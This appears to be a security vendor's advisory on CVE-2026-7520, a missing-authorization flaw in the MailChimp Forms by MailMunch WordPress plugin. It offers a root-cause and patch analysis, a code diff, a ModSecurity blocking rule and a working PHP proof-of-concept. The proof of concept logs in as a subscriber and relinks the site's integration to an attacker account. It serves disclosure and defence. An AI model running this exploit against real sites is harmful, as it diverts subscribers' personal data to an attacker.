Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-7520: MailChimp Forms by MailMunch <= 3.2.7 Missing Authorization to Authenticated (Subscriber+) MailMunch Integration Takeover via 'sign_in' AJAX Action PoC, Patch Analysis & Rule

CVE ID CVE-2026-7520
Severity High (CVSS 8.1)
CWE 862
Vulnerable Version 3.2.7
Patched Version 3.2.8
Disclosed August 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-7520: The MailChimp Forms by MailMunch plugin for WordPress (versions up to and including 3.2.7) contains a missing authorization vulnerability in its AJAX handlers. The sign_in() and sign_up() functions in the admin class lack capability checks and nonce verification, allowing authenticated users with minimal privileges (Subscriber and above) to relink the site’s MailMunch integration to an attacker-controlled account. This results in the exfiltration of all subscriber data and the display of attacker-controlled forms. The CVSS score is 8.1 (High).

Root Cause: The vulnerability exists in the admin/class-mailchimp-mailmunch-admin.php file. The sign_in() and sign_up() methods (lines 130-150 and 150-170 in the vulnerable version) directly process POST parameters (email, password, site_name, site_url) without verifying a nonce or checking the current user’s capabilities. Unlike other AJAX handlers such as delete_widget(), change_email_status(), and delete_email(), which correctly enforce current_user_can(‘manage_options’) and nonce checks, these two handlers omit both. The patch adds nonce verification (mailmunch_sign_in and mailmunch_sign_up) and capability checks (manage_options) to both functions, along with proper input sanitization.

Exploitation: An attacker with any authenticated account (Subscriber level or higher) can send a POST request to /wp-admin/admin-ajax.php with the action parameter set to ‘sign_in’ or ‘sign_up’. The attacker supplies their own MailMunch credentials (email and password) in the request body. Since the plugin does not validate the user’s capability or nonce, it processes the request and updates the site’s MailMunch integration to use the attacker’s account. Subsequent form submissions from site visitors are then sent to the attacker’s MailMunch account, and forms rendered on the site are controlled by the attacker.

Patch Analysis: The patch (version 3.2.8) adds nonce generation for ‘mailmunch_sign_in’ and ‘mailmunch_sign_up’ in the admin script localization. It modifies the sign_up() and sign_in() functions to first check for a valid nonce and the ‘manage_options’ capability before processing any input. If either check fails, it returns a 403 error via wp_send_json_error(). The patch also sanitizes all input fields and replaces json_encode() with wp_json_encode(). Additionally, the patch hardens other AJAX handlers and the dismiss_review_notice() function by adding nonce and capability checks, and adds a nonce field to the list selection form. These changes ensure that only administrators can modify the MailMunch integration settings.

Impact: Successful exploitation allows an attacker to hijack the site’s MailMunch integration. All subscriber data (names, email addresses, etc.) captured by the plugin’s forms is sent to the attacker’s MailMunch account. The attacker can also inject malicious forms or landing pages into the site, potentially leading to phishing attacks, further data theft, or site defacement. The vulnerability affects all versions up to 3.2.7 and requires only a low-privileged authenticated account.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/mailchimp-forms-by-mailmunch/admin/class-mailchimp-mailmunch-admin.php
+++ b/mailchimp-forms-by-mailmunch/admin/class-mailchimp-mailmunch-admin.php
@@ -119,54 +119,83 @@
 			'delete_widget' => wp_create_nonce('mailmunch_delete_widget'),
 			'change_email_status' => wp_create_nonce('mailmunch_change_email_status'),
 			'delete_email' => wp_create_nonce('mailmunch_delete_email'),
+			'sign_in' => wp_create_nonce('mailmunch_sign_in'),
+			'sign_up' => wp_create_nonce('mailmunch_sign_up'),
 		));

 	}

 	public function sign_up() {
+		if ( ! isset( $_POST['nonce'] )
+			|| ! wp_verify_nonce( $_POST['nonce'], 'mailmunch_sign_up' )
+			|| ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'error' => 'Permission denied.' ), 403 );
+		}
+
 		$this->initiate_api();
-		$email = $_POST['email'];
-		$password = $_POST['password'];
-		echo json_encode($this->mailmunch_api->signUpUser($email, $password, $_POST['site_name'], $_POST['site_url']));
+
+		$email     = isset( $_POST['email'] ) ? sanitize_email( wp_unslash( $_POST['email'] ) ) : '';
+		$password  = isset( $_POST['password'] ) ? (string) wp_unslash( $_POST['password'] ) : '';
+		$site_name = isset( $_POST['site_name'] ) ? sanitize_text_field( wp_unslash( $_POST['site_name'] ) ) : '';
+		$site_url  = isset( $_POST['site_url'] ) ? esc_url_raw( wp_unslash( $_POST['site_url'] ) ) : '';
+
+		echo wp_json_encode( $this->mailmunch_api->signUpUser( $email, $password, $site_name, $site_url ) );
 		exit;
 	}

 	public function sign_in() {
+		if ( ! isset( $_POST['nonce'] )
+			|| ! wp_verify_nonce( $_POST['nonce'], 'mailmunch_sign_in' )
+			|| ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'error' => 'Permission denied.' ), 403 );
+		}
+
 		$this->initiate_api();
-		$email = $_POST['email'];
-		$password = $_POST['password'];
-		echo json_encode($this->mailmunch_api->signInUser($email, $password));
+
+		$email    = isset( $_POST['email'] ) ? sanitize_email( wp_unslash( $_POST['email'] ) ) : '';
+		$password = isset( $_POST['password'] ) ? (string) wp_unslash( $_POST['password'] ) : '';
+
+		echo wp_json_encode( $this->mailmunch_api->signInUser( $email, $password ) );
 		exit;
 	}

 	public function delete_widget() {
-		// Check if nonce is set and valid and if the current user has 'manage_options' capability (typically administrators).
-    if ( isset($_POST['nonce']) && wp_verify_nonce($_POST['nonce'], 'mailmunch_delete_widget') && current_user_can('manage_options') ) {
-			$this->initiate_api();
-			echo json_encode($this->mailmunch_api->deleteWidget($_POST['widget_id']));
-    } else {
-			echo json_encode(array('error' => 'Permission denied.')); // Optionally, you can return an error message.
-    }
-    exit;
+		if ( ! isset( $_POST['nonce'] )
+			|| ! wp_verify_nonce( $_POST['nonce'], 'mailmunch_delete_widget' )
+			|| ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'error' => 'Permission denied.' ), 403 );
+		}
+
+		$this->initiate_api();
+		$widget_id = isset( $_POST['widget_id'] ) ? sanitize_text_field( wp_unslash( $_POST['widget_id'] ) ) : '';
+		echo wp_json_encode( $this->mailmunch_api->deleteWidget( $widget_id ) );
+		exit;
 	}

 	public function change_email_status() {
-		if ( isset($_POST['nonce']) && wp_verify_nonce($_POST['nonce'], 'mailmunch_change_email_status') && current_user_can('manage_options') ) { // Check if the current user has 'manage_options' capability (typically administrators).
-			$this->initiate_api();
-			echo json_encode($this->mailmunch_api->changeEmailStatus($_POST['email_id'], $_POST['email_status']));
-		} else {
-			echo json_encode(array('error' => 'Permission denied.')); // Optionally, you can return an error message.
+		if ( ! isset( $_POST['nonce'] )
+			|| ! wp_verify_nonce( $_POST['nonce'], 'mailmunch_change_email_status' )
+			|| ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'error' => 'Permission denied.' ), 403 );
 		}
+
+		$this->initiate_api();
+		$email_id     = isset( $_POST['email_id'] ) ? absint( $_POST['email_id'] ) : 0;
+		$email_status = isset( $_POST['email_status'] ) ? sanitize_text_field( wp_unslash( $_POST['email_status'] ) ) : '';
+		echo wp_json_encode( $this->mailmunch_api->changeEmailStatus( $email_id, $email_status ) );
 		exit;
 	}

 	public function delete_email() {
-		if ( isset($_POST['nonce']) && wp_verify_nonce($_POST['nonce'], 'mailmunch_delete_email') && current_user_can('manage_options') ) { // Check if the current user has 'manage_options' capability (typically administrators).
-			$this->initiate_api();
-			echo json_encode($this->mailmunch_api->deleteEmail($_POST['email_id']));
-		} else {
-			echo json_encode(array('error' => 'Permission denied.')); // Optionally, you can return an error message.
+		if ( ! isset( $_POST['nonce'] )
+			|| ! wp_verify_nonce( $_POST['nonce'], 'mailmunch_delete_email' )
+			|| ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( array( 'error' => 'Permission denied.' ), 403 );
 		}
+
+		$this->initiate_api();
+		$email_id = isset( $_POST['email_id'] ) ? absint( $_POST['email_id'] ) : 0;
+		echo wp_json_encode( $this->mailmunch_api->deleteEmail( $email_id ) );
 		exit;
 	}

@@ -239,7 +268,13 @@

 		if ($show_notice) {
 			$review_url = 'https://wordpress.org/support/plugin/'. MAILCHIMP_MAILMUNCH_PLUGIN_DIRECTORY. '/reviews/#new-post';
-			$dismiss_url = esc_url_raw( add_query_arg( MAILCHIMP_MAILMUNCH_PREFIX. '_dismiss_review_notice', '1', admin_url() ) );
+			$dismiss_url = esc_url_raw( add_query_arg(
+				array(
+					MAILCHIMP_MAILMUNCH_PREFIX . '_dismiss_review_notice' => '1',
+					'_wpnonce' => wp_create_nonce( 'mailmunch_dismiss_review_notice' ),
+				),
+				admin_url()
+			) );

 			$review_message = '<div class="mailmunch-review-logo"><img src="'.plugins_url( 'admin/img/mailchimp_logo.png', dirname(__FILE__) ) .'" /></div>';
 			$review_message .= sprintf( __( "You have been using <strong>%s</strong> for a few weeks now. We hope you are enjoying the features. Please consider leaving us a nice review. Reviews help people find our plugin and lets you provide us with useful feedback which helps us improve." , MAILCHIMP_MAILMUNCH_SLUG ), $this->plugin_name );
@@ -261,8 +296,11 @@
 	 * @since    2.1.4
 	 */
 	public function dismiss_review_notice() {
-		if ( isset( $_GET[MAILCHIMP_MAILMUNCH_PREFIX. '_dismiss_review_notice'] ) ) {
-			add_option( MAILCHIMP_MAILMUNCH_PREFIX. '_dismiss_review_notice', 'true' );
+		if ( isset( $_GET[MAILCHIMP_MAILMUNCH_PREFIX . '_dismiss_review_notice'] )
+			&& isset( $_GET['_wpnonce'] )
+			&& wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'mailmunch_dismiss_review_notice' )
+			&& current_user_can( 'install_plugins' ) ) {
+			add_option( MAILCHIMP_MAILMUNCH_PREFIX . '_dismiss_review_notice', 'true' );
 		}
 	}

@@ -316,14 +354,14 @@
 	public function settings_page() {
     $this->initiate_api();

-    // Add nonce check
-    if (isset($_POST['mailmunch_settings_nonce']) && wp_verify_nonce($_POST['mailmunch_settings_nonce'], 'mailmunch_settings_action')) {
-			// Nonce is valid; process the form data
-			if (isset($_POST['auto_embed'])) {
-				$this->mailmunch_api->setSetting('auto_embed', $_POST['auto_embed']);
+    if ( isset( $_POST['mailmunch_settings_nonce'] )
+			&& wp_verify_nonce( $_POST['mailmunch_settings_nonce'], 'mailmunch_settings_action' )
+			&& current_user_can( 'manage_options' ) ) {
+			if ( isset( $_POST['auto_embed'] ) ) {
+				$this->mailmunch_api->setSetting( 'auto_embed', sanitize_text_field( wp_unslash( $_POST['auto_embed'] ) ) );
 			}
-			if (isset($_POST['landing_pages_enabled'])) {
-				$this->mailmunch_api->setSetting('landing_pages_enabled', $_POST['landing_pages_enabled']);
+			if ( isset( $_POST['landing_pages_enabled'] ) ) {
+				$this->mailmunch_api->setSetting( 'landing_pages_enabled', sanitize_text_field( wp_unslash( $_POST['landing_pages_enabled'] ) ) );
 			}
     }

@@ -406,9 +444,9 @@
 			break;

 			case 'integrate':
-				if (isset($_POST['access_token'])) {
-					if (wp_verify_nonce($_POST['mailchimp_mailmunch_form_nonce'], 'mailchimp_mailmunch_form_action') && current_user_can('manage_options')) {
-						update_option($this->mailmunch_api->getPrefix(). 'mailchimp_access_token', $_POST['access_token']);
+				if ( isset( $_POST['access_token'] ) ) {
+					if ( wp_verify_nonce( $_POST['mailchimp_mailmunch_form_nonce'], 'mailchimp_mailmunch_form_action' ) && current_user_can( 'manage_options' ) ) {
+						update_option( $this->mailmunch_api->getPrefix() . 'mailchimp_access_token', sanitize_text_field( wp_unslash( $_POST['access_token'] ) ) );
 					}
 				} else if (!get_option($this->mailmunch_api->getPrefix(). 'mailchimp_access_token') || !current_user_can('manage_options')) {
 					echo '<script>window.location.href="admin.php?page=mailchimp-mailmunch";</script>';
@@ -423,11 +461,15 @@
 			break;

 			default:
-				if (isset($_POST['list_id'])) {
-					update_option($this->mailmunch_api->getPrefix(). 'mailchimp_list_id', $_POST['list_id']);
-					$accessToken = get_option($this->mailmunch_api->getPrefix(). 'mailchimp_access_token');
+				if ( isset( $_POST['list_id'] )
+					&& isset( $_POST['mailmunch_choose_list_nonce'] )
+					&& wp_verify_nonce( $_POST['mailmunch_choose_list_nonce'], 'mailmunch_choose_list' )
+					&& current_user_can( 'manage_options' ) ) {
+					$list_id = sanitize_text_field( wp_unslash( $_POST['list_id'] ) );
+					update_option( $this->mailmunch_api->getPrefix() . 'mailchimp_list_id', $list_id );
+					$accessToken = get_option( $this->mailmunch_api->getPrefix() . 'mailchimp_access_token' );

-					$this->mailmunch_api->createIntegration($accessToken, $_POST['list_id']);
+					$this->mailmunch_api->createIntegration( $accessToken, $list_id );
 				}
 				$currentStep = 'forms';
 				require_once(plugin_dir_path( __FILE__ ) . 'partials/mailchimp-mailmunch-tabs.php');
--- a/mailchimp-forms-by-mailmunch/admin/partials/mailchimp-mailmunch-integrate.php
+++ b/mailchimp-forms-by-mailmunch/admin/partials/mailchimp-mailmunch-integrate.php
@@ -30,6 +30,7 @@
                 <?php if (count($lists) > 0) { ?>
                 <p>Choose a list to save your subscribers in:</p>
                 <form action="<?php echo esc_url(add_query_arg( array('step' => 'final') )); ?>" method="POST">
+                  <?php wp_nonce_field( 'mailmunch_choose_list', 'mailmunch_choose_list_nonce' ); ?>
                   <select name="list_id">
                 <?php foreach ($lists as $list) { ?>
                     <option value="<?php echo $list['id']; ?>"><?php echo $list['name']; ?> (<?php echo $list['stats']['member_count'] ?> members)</option>
--- a/mailchimp-forms-by-mailmunch/includes/class-mailchimp-mailmunch.php
+++ b/mailchimp-forms-by-mailmunch/includes/class-mailchimp-mailmunch.php
@@ -23,7 +23,7 @@
 define( 'MAILCHIMP_MAILMUNCH_PREFIX', 'mc_mm' );
 define( 'MAILCHIMP_MAILMUNCH_POST_TYPE', 'mailmunch_page' );
 define( 'MAILCHIMP_MAILMUNCH_PLUGIN_DIRECTORY', 'mailchimp-forms-by-mailmunch' );
-define( 'MAILCHIMP_MAILMUNCH_VERSION', '3.2.7' );
+define( 'MAILCHIMP_MAILMUNCH_VERSION', '3.2.8' );

 /**
  * The core plugin class.
--- a/mailchimp-forms-by-mailmunch/mailchimp-mailmunch.php
+++ b/mailchimp-forms-by-mailmunch/mailchimp-mailmunch.php
@@ -16,7 +16,7 @@
  * Plugin Name:       MailChimp Forms by MailMunch
  * Plugin URI:        http://connect.mailchimp.com/integrations/mailmunch-email-list-builder
  * Description:       The MailChimp plugin allows you to quickly and easily add signup forms for your MailChimp lists. Popup, Embedded, Top Bar and a variety of different options available.
- * Version:           3.2.7
+ * Version:           3.2.8
  * Author:            MailMunch
  * Author URI:        http://www.mailmunch.com
  * License:           GPL-2.0+

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-7520
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20267520,phase:2,deny,status:403,chain,msg:'CVE-2026-7520 via MailChimp Forms by MailMunch AJAX sign_in/sign_up',severity:'CRITICAL',tag:'CVE-2026-7520'"
  SecRule ARGS_POST:action "@rx ^(sign_in|sign_up)$" "chain"
    SecRule ARGS_POST:email "@rx ." "chain"
      SecRule ARGS_POST:password "@rx ." "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-7520 - MailChimp Forms by MailMunch <= 3.2.7 - Missing Authorization to Authenticated (Subscriber+) MailMunch Integration Takeover via 'sign_in' AJAX Action

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber'; // Any authenticated user (Subscriber+)
$password = 'password'; // User's password
$attacker_email = 'attacker@evil.com'; // Attacker's MailMunch email
$attacker_password = 'attacker_pass'; // Attacker's MailMunch password

// Step 1: Authenticate to WordPress and obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Exploit the sign_in AJAX action to relink MailMunch account
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'sign_in', // Vulnerable AJAX action
    'email' => $attacker_email,
    'password' => $attacker_password
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
curl_close($ch);

// Output the result
echo "Response: " . $response . "n";

// Clean up cookies
unlink('cookies.txt');

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.